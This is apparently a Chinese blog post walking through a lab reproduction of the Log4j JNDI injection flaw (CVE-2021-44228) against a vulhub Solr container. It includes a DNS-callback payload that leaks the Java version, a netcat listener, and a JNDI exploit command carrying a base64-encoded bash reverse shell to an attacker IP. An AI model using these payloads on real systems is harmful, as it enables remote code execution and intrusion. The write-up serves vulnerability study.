Log4j复现(CVE-2021-44228)
前言:
- pache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码,
- JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。**JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。**JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现
1.环境搭建,使用docker搭建vulhub(CVE-2021-44228):切换到vulhub的cve2021-44228下
docker-compose up -d
2.在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:
http://10.211.55.2:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.mufypi.dnslog.cn}
说明存在log4j漏洞。
3.漏洞利用(反弹shell)
- a.kali攻击机开启nc监听 nc lvnp 9001(对应反弹shell的端口)
- b.使用jndi构造poc反弹shell:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}" -A 10.211.55.5
- d.使用burpsuit抓包,替换payload:rmi://10.211.55.5:1099/xd77jt 到Burpsuite:成功反弹shell
http://10.211.55.2:8983/solr/admin/cores?action=${jndi:rmi://10.211.55.5:1099/9xuvzl}
***Tips:***这里注意我们使用工具生成的利用地址,一定要根据不同的环境版本使用不同的链!!
本文作者:Arrest
本文链接:https://www.cnblogs.com/arrest/articles/17488400.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步